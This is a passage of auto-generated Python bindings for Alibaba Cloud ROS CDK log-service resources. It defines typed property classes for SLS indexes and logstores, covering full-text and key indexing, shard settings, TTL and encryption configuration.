"fullTextIndex")) @full_text_index.setter def full_text_index( self, value: typing.Union[ros_cdk_core.IResolvable, "RosIndex.FullTextIndexProperty"], ) -> None: jsii.set(self, "fullTextIndex", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="logstoreName") def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "logstoreName")) @logstore_name.setter def logstore_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "logstoreName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="projectName") def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "projectName")) @project_name.setter def project_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "projectName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="keyIndices") def key_indices( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosIndex.KeyIndicesProperty"]]]]: ''' :Property: keyIndices: Key index configurations. Full-text indexing and key indexing must have at least one enabled. ''' return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosIndex.KeyIndicesProperty"]]]], jsii.get(self, "keyIndices")) @key_indices.setter def key_indices( self, value: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosIndex.KeyIndicesProperty"]]]], ) -> None: jsii.set(self, "keyIndices", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="logReduce") def log_reduce( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: logReduce: Whether to enable log reduce. Default to false. ''' return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], jsii.get(self, "logReduce")) @log_reduce.setter def log_reduce( self, value: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "logReduce", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosIndex.FullTextIndexProperty", jsii_struct_bases=[], name_mapping={ "enable": "enable", "case_sensitive": "caseSensitive", "delimiter": "delimiter", "include_chinese": "includeChinese", }, ) class FullTextIndexProperty: def __init__( self, *, enable: typing.Union[builtins.bool, ros_cdk_core.IResolvable], case_sensitive: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, delimiter: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, include_chinese: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param enable: :param case_sensitive: :param delimiter: :param include_chinese: ''' self._values: typing.Dict[str, typing.Any] = { "enable": enable, } if case_sensitive is not None: self._values["case_sensitive"] = case_sensitive if delimiter is not None: self._values["delimiter"] = delimiter if include_chinese is not None: self._values["include_chinese"] = include_chinese @builtins.property def enable(self) -> typing.Union[builtins.bool, ros_cdk_core.IResolvable]: ''' :Property: enable: Whether to enable full-text indexing. Default to true. ''' result = self._values.get("enable") assert result is not None, "Required property 'enable' is missing" return typing.cast(typing.Union[builtins.bool, ros_cdk_core.IResolvable], result) @builtins.property def case_sensitive( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: caseSensitive: Whether it is case sensitive. Default to false. ''' result = self._values.get("case_sensitive") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def delimiter( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :: &<>/:\\n\\t\\r )). :Property: delimiter: Delimiter. Default to (( , '";=()[]{}? ''' result = self._values.get("delimiter") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def include_chinese( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: includeChinese: Whether it contains Chinese. Default to false. ''' result = self._values.get("include_chinese") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "FullTextIndexProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosIndex.JsonKeyIndicesProperty", jsii_struct_bases=[], name_mapping={ "name": "name", "type": "type", "alias": "alias", "enable_analytics": "enableAnalytics", }, ) class JsonKeyIndicesProperty: def __init__( self, *, name: typing.Union[builtins.str, ros_cdk_core.IResolvable], type: typing.Union[builtins.str, ros_cdk_core.IResolvable], alias: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, enable_analytics: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param name: :param type: :param alias: :param enable_analytics: ''' self._values: typing.Dict[str, typing.Any] = { "name": name, "type": type, } if alias is not None: self._values["alias"] = alias if enable_analytics is not None: self._values["enable_analytics"] = enable_analytics @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: Json key name. It can be nested by dot(.), such as k1.k2.k3. ''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: type: Json key type. Allowed types: text, long, double. Default to text. ''' result = self._values.get("type") assert result is not None, "Required property 'type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def alias( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: alias: Json key alias. ''' result = self._values.get("alias") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def enable_analytics( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: enableAnalytics: Whether this json key is enabled for statistics. Default to true. ''' result = self._values.get("enable_analytics") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "JsonKeyIndicesProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosIndex.KeyIndicesProperty", jsii_struct_bases=[], name_mapping={ "name": "name", "type": "type", "alias": "alias", "case_sensitive": "caseSensitive", "delimiter": "delimiter", "enable_analytics": "enableAnalytics", "include_chinese": "includeChinese", "json_key_indices": "jsonKeyIndices", }, ) class KeyIndicesProperty: def __init__( self, *, name: typing.Union[builtins.str, ros_cdk_core.IResolvable], type: typing.Union[builtins.str, ros_cdk_core.IResolvable], alias: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, case_sensitive: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, delimiter: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, enable_analytics: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, include_chinese: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, json_key_indices: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[ros_cdk_core.IResolvable, "RosIndex.JsonKeyIndicesProperty"]]]] = None, ) -> None: ''' :param name: :param type: :param alias: :param case_sensitive: :param delimiter: :param enable_analytics: :param include_chinese: :param json_key_indices: ''' self._values: typing.Dict[str, typing.Any] = { "name": name, "type": type, } if alias is not None: self._values["alias"] = alias if case_sensitive is not None: self._values["case_sensitive"] = case_sensitive if delimiter is not None: self._values["delimiter"] = delimiter if enable_analytics is not None: self._values["enable_analytics"] = enable_analytics if include_chinese is not None: self._values["include_chinese"] = include_chinese if json_key_indices is not None: self._values["json_key_indices"] = json_key_indices @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: Key name. ''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: type: Key type. Allowed types: text, long, double, json. Default to text. ''' result = self._values.get("type") assert result is not None, "Required property 'type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def alias( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: alias: Key alias. ''' result = self._values.get("alias") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def case_sensitive( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: caseSensitive: Whether it is case sensitive. It takes effect when Type is text or json. Default to false. ''' result = self._values.get("case_sensitive") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def delimiter( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :: &<>/:\\n\\t\\r )). :Property: delimiter: Delimiter. It takes effect when Type is text or json. Default to (( , '";=()[]{}? ''' result = self._values.get("delimiter") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def enable_analytics( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: enableAnalytics: Whether this key is enabled for statistics. Default to false for json type, else true. ''' result = self._values.get("enable_analytics") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def include_chinese( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: includeChinese: Whether it contains Chinese. It takes effect when Type is text or json. Default to false. ''' result = self._values.get("include_chinese") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def json_key_indices( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosIndex.JsonKeyIndicesProperty"]]]]: ''' :Property: jsonKeyIndices: Json key index configurations. ''' result = self._values.get("json_key_indices") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosIndex.JsonKeyIndicesProperty"]]]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "KeyIndicesProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosIndexProps", jsii_struct_bases=[], name_mapping={ "full_text_index": "fullTextIndex", "logstore_name": "logstoreName", "project_name": "projectName", "key_indices": "keyIndices", "log_reduce": "logReduce", }, ) class RosIndexProps: def __init__( self, *, full_text_index: typing.Union[ros_cdk_core.IResolvable, RosIndex.FullTextIndexProperty], logstore_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], key_indices: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[ros_cdk_core.IResolvable, RosIndex.KeyIndicesProperty]]]] = None, log_reduce: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Index``. :param full_text_index: :param logstore_name: :param project_name: :param key_indices: :param log_reduce: ''' self._values: typing.Dict[str, typing.Any] = { "full_text_index": full_text_index, "logstore_name": logstore_name, "project_name": project_name, } if key_indices is not None: self._values["key_indices"] = key_indices if log_reduce is not None: self._values["log_reduce"] = log_reduce @builtins.property def full_text_index( self, ) -> typing.Union[ros_cdk_core.IResolvable, RosIndex.FullTextIndexProperty]: ''' :Property: fullTextIndex: Full-text indexing configuration. Full-text indexing and key indexing must have at least one enabled. ''' result = self._values.get("full_text_index") assert result is not None, "Required property 'full_text_index' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, RosIndex.FullTextIndexProperty], result) @builtins.property def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logstore_name") assert result is not None, "Required property 'logstore_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def key_indices( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, RosIndex.KeyIndicesProperty]]]]: ''' :Property: keyIndices: Key index configurations. Full-text indexing and key indexing must have at least one enabled. ''' result = self._values.get("key_indices") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, RosIndex.KeyIndicesProperty]]]], result) @builtins.property def log_reduce( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: logReduce: Whether to enable log reduce. Default to false. ''' result = self._values.get("log_reduce") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosIndexProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosLogstore( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosLogstore", ): '''A ROS template type: ``ALIYUN::SLS::Logstore``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosLogstoreProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::Logstore``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrLogstoreName") def attr_logstore_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: LogstoreName: Logstore name. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrLogstoreName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="logstoreName") def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "logstoreName")) @logstore_name.setter def logstore_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "logstoreName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="projectName") def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "projectName")) @project_name.setter def project_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "projectName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="appendMeta") def append_meta( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: appendMeta: Whether to add client external network IP and log arrival time after receiving the log. Default to false. ''' return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], jsii.get(self, "appendMeta")) @append_meta.setter def append_meta( self, value: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "appendMeta", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="autoSplit") def auto_split( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: autoSplit: Whether to automatically split the shard. Default to false. ''' return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], jsii.get(self, "autoSplit")) @auto_split.setter def auto_split( self, value: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "autoSplit", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableTracking") def enable_tracking( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: enableTracking: Whether to enable WebTracking, which supports fast capture of various browsers and iOS/Android/APP access information. Default to false. ''' return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], jsii.get(self, "enableTracking")) @enable_tracking.setter def enable_tracking( self, value: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "enableTracking", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="encryptConf") def encrypt_conf( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.EncryptConfProperty"]]: ''' :Property: encryptConf: Data encryption config ''' return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.EncryptConfProperty"]], jsii.get(self, "encryptConf")) @encrypt_conf.setter def encrypt_conf( self, value: typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.EncryptConfProperty"]], ) -> None: jsii.set(self, "encryptConf", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="maxSplitShard") def max_split_shard( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: maxSplitShard: The maximum number of shards when splitting automatically. Must be specified if AutoSplit is set to true. Allowed Values: 1-64. ''' return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], jsii.get(self, "maxSplitShard")) @max_split_shard.setter def max_split_shard( self, value: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "maxSplitShard", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="preserveStorage") def preserve_storage( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: preserveStorage: Whether to keep the log permanently. If set to true, TTL will be ignored. Default to false. ''' return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], jsii.get(self, "preserveStorage")) @preserve_storage.setter def preserve_storage( self, value: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "preserveStorage", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="shardCount") def shard_count( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: shardCount: The number of Shards. Allowed Values: 1-100, default to 2. ''' return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], jsii.get(self, "shardCount")) @shard_count.setter def shard_count( self, value: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "shardCount", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="ttl") def ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: ttl: The lifecycle of log in the logstore in days. Allowed Values: 1-3600, default to 30. ''' return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], jsii.get(self, "ttl")) @ttl.setter def ttl( self, value: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "ttl", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosLogstore.EncryptConfProperty", jsii_struct_bases=[], name_mapping={ "enable": "enable", "encrypt_type": "encryptType", "user_cmk_info": "userCmkInfo", }, ) class EncryptConfProperty: def __init__( self, *, enable: typing.Union[builtins.bool, ros_cdk_core.IResolvable], encrypt_type: typing.Union[builtins.str, ros_cdk_core.IResolvable], user_cmk_info: typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.UserCmkInfoProperty"]] = None, ) -> None: ''' :param enable: :param encrypt_type: :param user_cmk_info: ''' self._values: typing.Dict[str, typing.Any] = { "enable": enable, "encrypt_type": encrypt_type, } if user_cmk_info is not None: self._values["user_cmk_info"] = user_cmk_info @builtins.property def enable(self) -> typing.Union[builtins.bool, ros_cdk_core.IResolvable]: ''' :Property: enable: Specifies whether data encryption is enabled. ''' result = self._values.get("enable") assert result is not None, "Required property 'enable' is missing" return typing.cast(typing.Union[builtins.bool, ros_cdk_core.IResolvable], result) @builtins.property def encrypt_type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: encryptType: The encryption algorithm. The encrypt_type parameter can be set to only default or m4. ''' result = self._values.get("encrypt_type") assert result is not None, "Required property 'encrypt_type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def user_cmk_info( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.UserCmkInfoProperty"]]: ''' :Property: userCmkInfo: If this parameter is specified, the BYOK key is used. Otherwise, the service key is used. ''' result = self._values.get("user_cmk_info") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogstore.UserCmkInfoProperty"]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "EncryptConfProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosLogstore.UserCmkInfoProperty", jsii_struct_bases=[], name_mapping={"arn": "arn", "cmk_key_id": "cmkKeyId", "region_id": "regionId"}, ) class UserCmkInfoProperty: def __init__( self, *, arn: typing.Union[builtins.str, ros_cdk_core.IResolvable], cmk_key_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], region_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: ''' :param arn: :param cmk_key_id: :param region_id: ''' self._values: typing.Dict[str, typing.Any] = { "arn": arn, "cmk_key_id": cmk_key_id, "region_id": region_id, } @builtins.property def arn(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: arn: The ARN of the RAM role. For more information about how to obtain the ARN of a RAM role, see Ship log data from Log Service to OSS. ''' result = self._values.get("arn") assert result is not None, "Required property 'arn' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def cmk_key_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: cmkKeyId: The ID of the CMK to which the BYOK key belongs, for example, f5136b95-2420-ab31-xxxxxxxxx. ''' result = self._values.get("cmk_key_id") assert result is not None, "Required property 'cmk_key_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def region_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: regionId: The ID of the region where the CMK resides. ''' result = self._values.get("region_id") assert result is not None, "Required property 'region_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "UserCmkInfoProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosLogstoreProps", jsii_struct_bases=[], name_mapping={ "logstore_name": "logstoreName", "project_name": "projectName", "append_meta": "appendMeta", "auto_split": "autoSplit", "enable_tracking": "enableTracking", "encrypt_conf": "encryptConf", "max_split_shard": "maxSplitShard", "preserve_storage": "preserveStorage", "shard_count": "shardCount", "ttl": "ttl", }, ) class RosLogstoreProps: def __init__( self, *, logstore_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], append_meta: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, auto_split: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, enable_tracking: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, encrypt_conf: typing.Optional[typing.Union[ros_cdk_core.IResolvable, RosLogstore.EncryptConfProperty]] = None, max_split_shard: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, preserve_storage: typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]] = None, shard_count: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ttl: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Logstore``. :param logstore_name: :param project_name: :param append_meta: :param auto_split: :param enable_tracking: :param encrypt_conf: :param max_split_shard: :param preserve_storage: :param shard_count: :param ttl: ''' self._values: typing.Dict[str, typing.Any] = { "logstore_name": logstore_name, "project_name": project_name, } if append_meta is not None: self._values["append_meta"] = append_meta if auto_split is not None: self._values["auto_split"] = auto_split if enable_tracking is not None: self._values["enable_tracking"] = enable_tracking if encrypt_conf is not None: self._values["encrypt_conf"] = encrypt_conf if max_split_shard is not None: self._values["max_split_shard"] = max_split_shard if preserve_storage is not None: self._values["preserve_storage"] = preserve_storage if shard_count is not None: self._values["shard_count"] = shard_count if ttl is not None: self._values["ttl"] = ttl @builtins.property def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logstore_name") assert result is not None, "Required property 'logstore_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def append_meta( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: appendMeta: Whether to add client external network IP and log arrival time after receiving the log. Default to false. ''' result = self._values.get("append_meta") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def auto_split( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: autoSplit: Whether to automatically split the shard. Default to false. ''' result = self._values.get("auto_split") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def enable_tracking( self, ) -> 